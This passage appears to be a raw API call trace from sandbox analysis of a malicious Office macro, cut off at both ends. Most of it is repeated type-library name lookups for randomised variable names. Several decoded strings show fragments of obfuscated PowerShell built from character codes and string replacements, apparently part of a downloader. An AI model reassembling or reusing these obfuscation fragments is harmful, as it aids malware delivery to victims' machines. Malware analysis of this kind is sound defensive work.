0x109fa9 [0018.570] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_HjGKVii" | out: _Dst="_B_var_HjGKVii") returned 0x0 [0018.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_HjGKVii") returned 15 [0018.570] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.570] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_HjGKVii", lHashVal=0x109fa9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.570] IUnknown:Release (This=0x7919520) returned 0xd [0018.570] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.570] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_HjGKVii", lHashVal=0x109fa9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.570] IUnknown:Release (This=0x7346470) returned 0xb [0018.570] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.570] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_HjGKVii", lHashVal=0x109fa9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.570] IUnknown:Release (This=0x7345930) returned 0x7 [0018.570] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.570] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_HjGKVii", lHashVal=0x109fa9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.570] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.570] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.570] IUnknown:Release (This=0x7919520) returned 0xd [0018.570] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6138c, cbMultiByte=59, lpWideCharStr=0xcb13514, cchWideChar=120 | out: lpWideCharStr="14PYs9sHkda8iU3pi-content/themes-suVnL+VnLspeVIAYOzFhCwMVQ9") returned 59 [0018.570] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.570] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.570] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.570] IUnknown:Release (This=0x7919520) returned 0xd [0018.570] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.571] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aEuVmnRMJW") returned 0x10a71f [0018.571] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="aEuVmnRMJW" | out: _Dst="aEuVmnRMJW") returned 0x0 [0018.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="aEuVmnRMJW") returned 11 [0018.571] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.571] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="aEuVmnRMJW", lHashVal=0x10a71f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.571] IUnknown:Release (This=0x7919520) returned 0xd [0018.571] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.571] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="aEuVmnRMJW", lHashVal=0x10a71f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.571] IUnknown:Release (This=0x7346470) returned 0xb [0018.571] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.571] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="aEuVmnRMJW", lHashVal=0x10a71f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.571] IUnknown:Release (This=0x7345930) returned 0x7 [0018.571] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.571] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="aEuVmnRMJW", lHashVal=0x10a71f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.571] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.571] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.571] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_aEuVmnRMJW") returned 0x10154a [0018.571] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_aEuVmnRMJW" | out: _Dst="_B_var_aEuVmnRMJW") returned 0x0 [0018.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_aEuVmnRMJW") returned 18 [0018.571] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.571] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_aEuVmnRMJW", lHashVal=0x10154a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.571] IUnknown:Release (This=0x7919520) returned 0xd [0018.571] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.571] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_aEuVmnRMJW", lHashVal=0x10154a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.571] IUnknown:Release (This=0x7346470) returned 0xb [0018.571] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.571] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_aEuVmnRMJW", lHashVal=0x10154a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.571] IUnknown:Release (This=0x7345930) returned 0x7 [0018.571] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.571] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_aEuVmnRMJW", lHashVal=0x10154a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.571] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.571] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.571] IUnknown:Release (This=0x7919520) returned 0xd [0018.571] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.571] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb20000 [0018.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb613e4, cbMultiByte=10, lpWideCharStr=0xcb202c4, cchWideChar=22 | out: lpWideCharStr="stqGWwijDz") returned 10 [0018.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb613fe, cbMultiByte=10, lpWideCharStr=0xcb2070e, cchWideChar=22 | out: lpWideCharStr="FzOtSQEzSS") returned 10 [0018.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61412, cbMultiByte=10, lpWideCharStr=0xcb208b8, cchWideChar=22 | out: lpWideCharStr="DLuTvKjoiW") returned 10 [0018.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61426, cbMultiByte=10, lpWideCharStr=0xcb20a62, cchWideChar=22 | out: lpWideCharStr="mnvXULAash") returned 10 [0018.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6143a, cbMultiByte=10, lpWideCharStr=0xcb20c0c, cchWideChar=22 | out: lpWideCharStr="jjDutBhkiN") returned 10 [0018.573] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb51ee0 [0018.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6144e, cbMultiByte=10, lpWideCharStr=0xcb20db6, cchWideChar=22 | out: lpWideCharStr="jQwnnhwXLL") returned 10 [0018.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61462, cbMultiByte=10, lpWideCharStr=0xcb20f60, cchWideChar=22 | out: lpWideCharStr="PtCjKSCrYH") returned 10 [0018.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61476, cbMultiByte=10, lpWideCharStr=0xcb2110a, cchWideChar=22 | out: lpWideCharStr="PdHklXHzat") returned 10 [0018.575] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="izDvfBJzZC") returned 0x105275 [0018.575] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="izDvfBJzZC" | out: _Dst="izDvfBJzZC") returned 0x0 [0018.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="izDvfBJzZC") returned 11 [0018.575] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.575] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="izDvfBJzZC", lHashVal=0x105275, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.575] IUnknown:Release (This=0x7919520) returned 0xd [0018.575] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.575] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="izDvfBJzZC", lHashVal=0x105275, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.575] IUnknown:Release (This=0x7346470) returned 0xb [0018.575] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.575] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="izDvfBJzZC", lHashVal=0x105275, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.575] IUnknown:Release (This=0x7345930) returned 0x7 [0018.575] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.575] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="izDvfBJzZC", lHashVal=0x105275, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.575] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.575] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb30000 [0018.576] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.576] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_izDvfBJzZC") returned 0x10c0df [0018.576] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_izDvfBJzZC" | out: _Dst="_B_var_izDvfBJzZC") returned 0x0 [0018.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_izDvfBJzZC") returned 18 [0018.576] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.576] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_izDvfBJzZC", lHashVal=0x10c0df, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.576] IUnknown:Release (This=0x7919520) returned 0xd [0018.576] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.576] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_izDvfBJzZC", lHashVal=0x10c0df, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.576] IUnknown:Release (This=0x7346470) returned 0xb [0018.576] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.576] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_izDvfBJzZC", lHashVal=0x10c0df, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.576] IUnknown:Release (This=0x7345930) returned 0x7 [0018.576] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.576] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_izDvfBJzZC", lHashVal=0x10c0df, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.576] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.576] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.576] IUnknown:Release (This=0x7919520) returned 0xd [0018.576] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61494, cbMultiByte=10, lpWideCharStr=0xcb2357c, cchWideChar=22 | out: lpWideCharStr="njuCVoizYw") returned 10 [0018.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb614ae, cbMultiByte=10, lpWideCharStr=0xcb239c6, cchWideChar=22 | out: lpWideCharStr="iKTCbwomXh") returned 10 [0018.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb614c2, cbMultiByte=10, lpWideCharStr=0xcb23b70, cchWideChar=22 | out: lpWideCharStr="ERbPABDUzo") returned 10 [0018.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb614d6, cbMultiByte=10, lpWideCharStr=0xcb23d1a, cchWideChar=22 | out: lpWideCharStr="DKzFAdkDwY") returned 10 [0018.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb614ea, cbMultiByte=10, lpWideCharStr=0xcb23ec4, cchWideChar=22 | out: lpWideCharStr="fjYCYoXiTD") returned 10 [0018.577] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb40000 [0018.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb614fe, cbMultiByte=10, lpWideCharStr=0xcb400a4, cchWideChar=22 | out: lpWideCharStr="QwEzIWHfCT") returned 10 [0018.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61512, cbMultiByte=10, lpWideCharStr=0xcb4024e, cchWideChar=22 | out: lpWideCharStr="lNzjtTMOBw") returned 10 [0018.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61526, cbMultiByte=10, lpWideCharStr=0xcb403f8, cchWideChar=22 | out: lpWideCharStr="LlnwBVtZrM") returned 10 [0018.578] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nDwPEi") returned 0x10bb1d [0018.578] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="nDwPEi" | out: _Dst="nDwPEi") returned 0x0 [0018.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="nDwPEi") returned 7 [0018.578] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.578] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="nDwPEi", lHashVal=0x10bb1d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.578] IUnknown:Release (This=0x7919520) returned 0xd [0018.578] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.578] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="nDwPEi", lHashVal=0x10bb1d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.578] IUnknown:Release (This=0x7346470) returned 0xb [0018.579] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.579] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="nDwPEi", lHashVal=0x10bb1d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.579] IUnknown:Release (This=0x7345930) returned 0x7 [0018.579] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.579] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="nDwPEi", lHashVal=0x10bb1d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.579] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.579] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.579] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_nDwPEi") returned 0x103587 [0018.579] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_nDwPEi" | out: _Dst="_B_var_nDwPEi") returned 0x0 [0018.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_nDwPEi") returned 14 [0018.579] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.579] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_nDwPEi", lHashVal=0x103587, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.579] IUnknown:Release (This=0x7919520) returned 0xd [0018.579] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.579] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_nDwPEi", lHashVal=0x103587, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.579] IUnknown:Release (This=0x7346470) returned 0xb [0018.579] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.579] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_nDwPEi", lHashVal=0x103587, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.579] IUnknown:Release (This=0x7345930) returned 0x7 [0018.579] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.579] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_nDwPEi", lHashVal=0x103587, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.579] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.579] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.579] IUnknown:Release (This=0x7919520) returned 0xd [0018.579] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61544, cbMultiByte=10, lpWideCharStr=0xcb4286a, cchWideChar=22 | out: lpWideCharStr="tzvMDYRBFV") returned 10 [0018.579] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb52130 [0018.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6155e, cbMultiByte=10, lpWideCharStr=0xcb42cb4, cchWideChar=22 | out: lpWideCharStr="QjwRnMNIVp") returned 10 [0018.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61572, cbMultiByte=10, lpWideCharStr=0xcb42e5e, cchWideChar=22 | out: lpWideCharStr="paTifzatuX") returned 10 [0018.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61586, cbMultiByte=10, lpWideCharStr=0xcb43008, cchWideChar=22 | out: lpWideCharStr="dpoTzwEoFc") returned 10 [0018.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6159a, cbMultiByte=10, lpWideCharStr=0xcb431b2, cchWideChar=22 | out: lpWideCharStr="VPEUKYnLif") returned 10 [0018.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb615ae, cbMultiByte=10, lpWideCharStr=0xcb4335c, cchWideChar=22 | out: lpWideCharStr="zijCvTjMhE") returned 10 [0018.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb615c2, cbMultiByte=10, lpWideCharStr=0xcb43506, cchWideChar=22 | out: lpWideCharStr="zYHirascSp") returned 10 [0018.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb615d6, cbMultiByte=10, lpWideCharStr=0xcb436b0, cchWideChar=22 | out: lpWideCharStr="HZCsUaVzXH") returned 10 [0018.581] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb50000 [0018.581] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="omPYwzU") returned 0x107321 [0018.582] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="omPYwzU" | out: _Dst="omPYwzU") returned 0x0 [0018.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="omPYwzU") returned 8 [0018.582] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.582] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="omPYwzU", lHashVal=0x107321, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.582] IUnknown:Release (This=0x7919520) returned 0xd [0018.582] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.582] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="omPYwzU", lHashVal=0x107321, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.582] IUnknown:Release (This=0x7346470) returned 0xb [0018.582] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.582] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="omPYwzU", lHashVal=0x107321, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.582] IUnknown:Release (This=0x7345930) returned 0x7 [0018.582] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.582] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="omPYwzU", lHashVal=0x107321, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.582] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.582] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.582] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_omPYwzU") returned 0x1076a5 [0018.582] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_omPYwzU" | out: _Dst="_B_var_omPYwzU") returned 0x0 [0018.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_omPYwzU") returned 15 [0018.582] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.582] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_omPYwzU", lHashVal=0x1076a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.582] IUnknown:Release (This=0x7919520) returned 0xd [0018.582] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.582] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_omPYwzU", lHashVal=0x1076a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.582] IUnknown:Release (This=0x7346470) returned 0xb [0018.582] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.582] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_omPYwzU", lHashVal=0x1076a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.582] IUnknown:Release (This=0x7345930) returned 0x7 [0018.582] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.582] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_omPYwzU", lHashVal=0x1076a5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.582] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.582] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.582] IUnknown:Release (This=0x7919520) returned 0xd [0018.582] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb615f4, cbMultiByte=187, lpWideCharStr=0xcb51b4c, cchWideChar=376 | out: lpWideCharStr="S72u5WsdBEpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLICQzWfzNLir2uPp") returned 187 [0018.582] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb52380 [0018.582] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.582] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.582] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.582] IUnknown:Release (This=0x7919520) returned 0xd [0018.582] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.583] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kMLBXOldkAE") returned 0x109148 [0018.583] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="kMLBXOldkAE" | out: _Dst="kMLBXOldkAE") returned 0x0 [0018.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="kMLBXOldkAE") returned 12 [0018.583] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.583] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="kMLBXOldkAE", lHashVal=0x109148, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.583] IUnknown:Release (This=0x7919520) returned 0xd [0018.583] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.583] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="kMLBXOldkAE", lHashVal=0x109148, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.583] IUnknown:Release (This=0x7346470) returned 0xb [0018.583] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.583] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="kMLBXOldkAE", lHashVal=0x109148, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.583] IUnknown:Release (This=0x7345930) returned 0x7 [0018.583] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.583] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="kMLBXOldkAE", lHashVal=0x109148, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.583] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.583] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.583] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_kMLBXOldkAE") returned 0x1082aa [0018.583] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_kMLBXOldkAE" | out: _Dst="_B_var_kMLBXOldkAE") returned 0x0 [0018.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_kMLBXOldkAE") returned 19 [0018.583] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.583] ITypeLib:RemoteIsName (in: This=0x7919520, 